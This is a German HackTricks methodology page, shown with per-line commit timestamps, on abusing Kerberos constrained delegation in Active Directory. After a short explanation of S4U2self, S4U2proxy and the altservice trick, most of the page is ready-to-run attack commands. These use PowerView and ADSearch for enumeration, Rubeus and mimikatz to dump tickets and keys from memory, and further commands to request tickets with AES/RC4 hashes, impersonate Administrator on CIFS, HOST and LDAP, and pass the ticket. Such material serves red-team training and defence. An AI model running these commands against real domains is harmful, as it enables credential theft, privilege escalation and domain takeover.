hacktricks/windows-hardening/active-directory-methodology/constrained-delegation.md

113 lines
7.5 KiB
Markdown
Raw Normal View History

2024-02-10 15:36:32 +00:00
# Eingeschränkte Delegation
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary>Lernen Sie das Hacken von AWS von Grund auf mit <a href="https://training.hacktricks.xyz/courses/arte">htARTE (HackTricks AWS Red Team Expert)</a>!</summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die [ABONNEMENTPLÄNE](https://github.com/sponsors/carlospolop)!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie die PEASS-Familie, unsere Sammlung exklusiver NFTs
- Treten Sie der Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den HackTricks- und HackTricks Cloud-GitHub-Repositories einreichen
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 15:36:32 +00:00
## Eingeschränkte Delegation
2024-02-10 15:36:32 +00:00
Mit dieser Methode kann ein Domänenadministrator einem Computer erlauben, sich als Benutzer oder Computer gegenüber einem Dienst auf einer Maschine auszugeben.
2024-02-10 15:36:32 +00:00
- **Dienst für Benutzer selbst (S4U2self):** Wenn ein Dienstbenutzerkonto einen _userAccountControl_-Wert enthält, der [TRUSTED_TO_AUTH_FOR_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) (T2A4D) enthält, kann es ein TGS für sich selbst (den Dienst) im Namen eines anderen Benutzers erhalten.
- **Dienst für Benutzer zum Proxy (S4U2proxy):** Ein Dienstbenutzerkonto kann ein TGS im Namen eines beliebigen Benutzers für den in **msDS-AllowedToDelegateTo** festgelegten Dienst erhalten. Dazu benötigt es zunächst ein TGS von diesem Benutzer für sich selbst, kann aber S4U2self verwenden, um dieses TGS zu erhalten, bevor es das andere anfordert.
2024-02-10 15:36:32 +00:00
**Hinweis**: Wenn ein Benutzer in AD als "_Account is sensitive and cannot be delegated_" markiert ist, können Sie ihn nicht imitieren.
2024-02-10 15:36:32 +00:00
Das bedeutet, dass Sie, wenn Sie den Hash des Dienstes kompromittieren, Benutzer imitieren und Zugriff in ihrem Namen auf den konfigurierten Dienst erhalten können (möglicher Privilege Escalation).
2022-08-15 13:00:19 +00:00
2024-02-10 15:36:32 +00:00
Darüber hinaus haben Sie nicht nur Zugriff auf den Dienst, den der Benutzer imitieren kann, sondern auch auf jeden anderen Dienst, da der SPN (der angeforderte Dienstname) nicht überprüft wird, sondern nur die Berechtigungen. Wenn Sie also Zugriff auf den CIFS-Dienst haben, können Sie auch mit dem `/altservice`-Flag in Rubeus auf den HOST-Dienst zugreifen.
2022-08-14 19:23:50 +00:00
2024-02-10 15:36:32 +00:00
Auch der Zugriff auf den LDAP-Dienst auf einem DC ist erforderlich, um einen DCSync-Angriff auszuführen.
2022-08-15 13:00:19 +00:00
2024-02-10 15:36:32 +00:00
{% code title="Enumerieren" %}
2022-08-14 20:13:42 +00:00
```bash
2022-08-15 13:00:19 +00:00
# Powerview
2022-09-04 09:37:14 +00:00
Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
2022-08-15 13:00:19 +00:00
#ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
2022-08-14 20:13:42 +00:00
```
2024-02-10 15:36:32 +00:00
{% code title="TGT abrufen" %}
2022-09-04 09:37:14 +00:00
```bash
# The first step is to get a TGT of the service that can impersonate others
2022-08-15 13:00:19 +00:00
## If you are SYSTEM in the server, you might take it from memory
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap
# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one
## Get AES/RC4 with mimikatz
mimikatz sekurlsa::ekeys
## Request with aes
2022-09-04 09:37:14 +00:00
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
2022-08-15 13:00:19 +00:00
# Request with RC4
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
2022-09-04 09:37:14 +00:00
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
```
{% endcode %}
2022-08-15 13:00:19 +00:00
{% hint style="warning" %}
2024-02-10 15:36:32 +00:00
Es gibt **andere Möglichkeiten, ein TGT-Ticket** oder **RC4** oder **AES256** zu erhalten, ohne SYSTEM auf dem Computer zu sein, wie den Drucker-Bug und die Delegation ohne Einschränkung, NTLM-Weiterleitung und den Missbrauch des Active Directory-Zertifikatdienstes.
2022-08-15 13:00:19 +00:00
2024-02-10 15:36:32 +00:00
**Wenn Sie nur dieses TGT-Ticket (oder den gehashten Wert) haben, können Sie diesen Angriff durchführen, ohne den gesamten Computer zu kompromittieren.**
2022-08-15 13:00:19 +00:00
{% endhint %}
2022-08-14 20:13:42 +00:00
2024-02-10 15:36:32 +00:00
{% code title="Mit Rubeus" %}
```bash
#Obtain a TGS of the Administrator user to self
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
2022-08-15 13:00:19 +00:00
#Obtain service TGS impersonating Administrator (CIFS)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
2022-08-15 13:00:19 +00:00
#Impersonate Administrator on different service (HOST)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
2022-08-15 13:00:19 +00:00
# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)
2022-09-04 09:37:14 +00:00
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap
2022-08-15 13:00:19 +00:00
#Load ticket in memory
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
```
2022-08-15 13:00:19 +00:00
{% code title="kekeo + Mimikatz" %}
```bash
#Obtain a TGT for the Constained allowed user
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
#Load the TGS in memory
2024-02-10 15:36:32 +00:00
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'
2022-08-15 13:00:19 +00:00
```
{% endcode %}
2024-02-10 15:36:32 +00:00
[**Weitere Informationen auf ired.team.**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>